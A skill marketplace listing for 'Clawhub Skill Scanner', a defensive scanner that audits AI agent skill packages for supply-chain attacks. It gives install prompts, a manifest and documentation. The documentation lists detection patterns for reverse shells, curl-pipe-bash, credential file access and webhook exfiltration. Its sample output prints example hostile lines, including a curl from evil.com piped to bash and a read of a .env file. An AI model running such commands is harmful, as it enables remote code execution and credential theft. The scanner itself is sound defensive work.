# Send Clawhub Skill Scanner to your agent
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
## Fast path
- Download the package from Yavira.
- Extract it into a folder your agent can access.
- Paste one of the prompts below and point your agent at the extracted folder.
## Suggested prompts
### New install

```text
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Then review README.md for any prerequisites, environment setup, or post-install checks. Tell me what you changed and call out any manual steps you could not complete.
```
### Upgrade existing

```text
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Then review README.md for any prerequisites, environment setup, or post-install checks. Summarize what changed and any follow-up checks I should run.
```
## Machine-readable fields
```json
{
  "schemaVersion": "1.0",
  "item": {
    "slug": "clawhub-skill-scanner",
    "name": "Clawhub Skill Scanner",
    "source": "tencent",
    "type": "skill",
    "category": "开发工具",
    "sourceUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "canonicalUrl": "https://clawhub.ai/amir-ag/clawhub-skill-scanner",
    "targetPlatform": "OpenClaw"
  },
  "install": {
    "downloadUrl": "/downloads/clawhub-skill-scanner",
    "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=clawhub-skill-scanner",
    "sourcePlatform": "tencent",
    "targetPlatform": "OpenClaw",
    "packageFormat": "ZIP package",
    "primaryDoc": "SKILL.md",
    "includedAssets": [
      "README.md",
      "SKILL.md",
      "references/threat-patterns.md",
      "scripts/scan_skill.py"
    ],
    "downloadMode": "redirect",
    "sourceHealth": {
      "source": "tencent",
      "status": "healthy",
      "reason": "direct_download_ok",
      "recommendedAction": "download",
      "checkedAt": "2026-04-30T16:55:25.780Z",
      "expiresAt": "2026-05-07T16:55:25.780Z",
      "httpStatus": 200,
      "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=network",
      "contentType": "application/zip",
      "probeMethod": "head",
      "details": {
        "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=network",
        "contentDisposition": "attachment; filename=\"network-1.0.0.zip\"",
        "redirectLocation": null,
        "bodySnippet": null
      },
      "scope": "source",
      "summary": "Source download looks usable.",
      "detail": "Yavira can redirect you to the upstream package for this source.",
      "primaryActionLabel": "Download for OpenClaw",
      "primaryActionHref": "/downloads/clawhub-skill-scanner"
    },
    "validation": {
      "installChecklist": [
        "Use the Yavira download entry.",
        "Review SKILL.md after the package is downloaded.",
        "Confirm the extracted package contains the expected setup assets."
      ],
      "postInstallChecks": [
        "Confirm the extracted package includes the expected docs or setup files.",
        "Validate the skill or prompts are available in your target agent workspace.",
        "Capture any manual follow-up steps the agent could not complete."
      ]
    }
  },
  "links": {
    "detailUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner",
    "downloadUrl": "https://openagent3.xyz/downloads/clawhub-skill-scanner",
    "agentUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent",
    "manifestUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/clawhub-skill-scanner/agent.md"
  }
}
```
## Documentation

### Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

### When to Use

Run this audit BEFORE any skill installation:

clawhub install <skill>
Manual skill download/copy
Skills from GitHub, URLs, or untrusted sources

### Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

### 🔴 CRITICAL (Blocks Installation)

CategoryPatternsReverse Shellsnc -e, bash /dev/tcp, Python socket shellsCurl-Pipe-Bashcurl | bash, wget && chmod +xCredential Access~/.ssh, ~/.aws, ~/.openclaw, .env filesData ExfiltrationDiscord/Slack webhooks, POST with secretsMalicious Domainsglot.io, pastebin (known malware hosts)Persistencecrontab, systemd, LaunchAgents, .bashrcCommand Injectioneval(), exec(), subprocess shell=TrueObfuscationbase64 decode pipes, pickle, marshal

### 🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

Raw socket usage (unusual for most skills)
Dynamic code compilation
File/directory deletion
Screenshot/keyboard capture libraries
Low-level system calls (ctypes)

### Philosophy

We intentionally don't warn on common patterns like:

HTTP requests (normal for API skills)
API key references (normal for integration skills)
File writes (normal for data skills)
Environment variable access (normal for config)

This reduces noise so real threats stand out.

### Risk Scoring

CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution

ScoreLevelAction0-20🟢 SAFEAuto-approve21-50🟡 CAUTIONReview findings51-80🔶 DANGERDetailed review required81-100🔴 BLOCKEDDo NOT install

### Sample Output

════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════

📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

════════════════════════════════════════════════════════════
  🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════

### Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"

### References

See references/threat-patterns.md for detailed pattern explanations.

### Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated
large-scale supply chain attacks via AI agent skill marketplaces.
## Trust
- Source: tencent
- Verification: Indexed source record
- Publisher: amir-ag
- Version: 0.1.0
## Source health
- Status: healthy
- Source download looks usable.
- Yavira can redirect you to the upstream package for this source.
- Health scope: source
- Reason: direct_download_ok
- Checked at: 2026-04-30T16:55:25.780Z
- Expires at: 2026-05-07T16:55:25.780Z
- Recommended action: Download for OpenClaw
## Links
- [Detail page](https://openagent3.xyz/skills/clawhub-skill-scanner)
- [Send to Agent page](https://openagent3.xyz/skills/clawhub-skill-scanner/agent)
- [JSON manifest](https://openagent3.xyz/skills/clawhub-skill-scanner/agent.json)
- [Markdown brief](https://openagent3.xyz/skills/clawhub-skill-scanner/agent.md)
- [Download page](https://openagent3.xyz/downloads/clawhub-skill-scanner)